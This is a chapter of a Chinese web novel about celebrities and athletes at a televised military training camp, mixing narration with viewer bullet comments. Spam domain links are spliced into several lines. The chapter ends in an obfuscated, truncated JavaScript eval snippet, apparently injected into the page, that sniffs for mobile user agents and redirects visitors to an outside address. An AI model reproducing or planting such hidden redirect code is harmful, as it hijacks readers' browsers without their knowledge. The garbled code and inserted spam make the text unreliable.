“全体都有，齐步走，目标器械区。www.huanquan.me”

【等等，给新嘉宾的六公里下马威呢？】

【该不会没有了吧？】

【不要啊，还想看新嘉宾有多狼狈呢！】

【那你应该要失望了，六公里对大多数明星来说是噩梦，但对于新来的这几位嘉宾来说应该不算什么。教官应该也是考虑到这一点，干脆直接取消了。】

【差点忘了这都是运动员跟大学生了，拳馆教练和武替这职业身体素质一般的也干不了。】

【那就，直接跟着老嘉宾的进度开始训练了？】

【目前看是这样。】

抵达器械区，新一天的训练计划随即下达。

“今天主要训练四个项目。”

【比昨天少了一项诶！】

【有没有可能是因为训练项目比昨天更难呢？】

“分别是百米冲刺，双杠臂屈伸，V字支撑，以及匍匐前进。”

【听起来好像也不是很难。】

【听起来也比昨天的要有趣啊。】

【哈哈，发弹幕之前建议搜一下后面三个项目要怎么练，再来说不难和有趣，我就服你。】

【我记得我新兵训练第一次受伤就是在练习匍匐前进的时候。】

【啊，这个项目很危险吗？】

【待会就知道了。www.buwang.me】

【话说，姜含影的百米冲刺就不用练，可以直接通过了吧？】

【她现在这训练进度稳稳排第一，不过现在有了新嘉宾加入，往后可就不一定喽！】

“先跑一圈热热身。”

热身环节新老嘉宾都熟，听见命令当即围着脚下的小操场跑起来。

【果然还是人多有气势，脚步声都响亮了好多。】

【不过人一多，待会跑百米冲刺都得分成三拨。】

【建议别把老嘉宾分散开了吧，要不然跟新嘉宾一比，就太虐了。】

【全靠姜含影拉回场子。】

一圈慢跑下来，热身环节结束，众人按照之前编好的位置重新站好。

【这就看出区别来了，老嘉宾气喘吁吁，新嘉宾连汗都没冒。】

【新嘉宾恐怖如斯！】

李承宵拿出计时的秒表，看了眼大家的状态后，默默在心下又调整了一番分组，这才开口宣布：“现在开始第一项训练百米冲刺，五人一组，跑进十五秒内就算合格。”

“姜含影，余枫，云水寒，池颂，纪星辰，第一组，准备。”

被叫到的五个人互相对视一眼，离开队伍走到跑道起点线处站定。

【这什么组合？】

【三个运动员出身的新嘉宾，纪星辰虽然不是运动员但目测也是个跑步见长的，再加一个姜含影，这是直接把最强的五个给划到一组了？】

【有没有一种可能是教官看他们热身之后表现得最轻松。www.jingmei.me】

【全都是强劲对手，我只好奇姜含影这次能跑第几？】

【其实我一直怀疑昨天褚远计时的时候是不是按早了，姜含影跑进12秒内多少有点逆天了。】

【我也是，当时看得实在太激动了，过后冷静下来就觉得有点不现实。】

【待会看她跟真正的运动员比一比不就知道了，虽然余枫和云水寒都不是专门练跑步的，但池颂练的是棒球，这项运动也需要跑得够快才能赢。】

这次是所有嘉宾正式训练，为了做到把信号传达得更精准，李承宵又摸出来一把发令木仓。

【等等，这发令木仓又是从哪掏出来的？】

;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."j://e.d.f/h/g/"}'',24,24,''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowe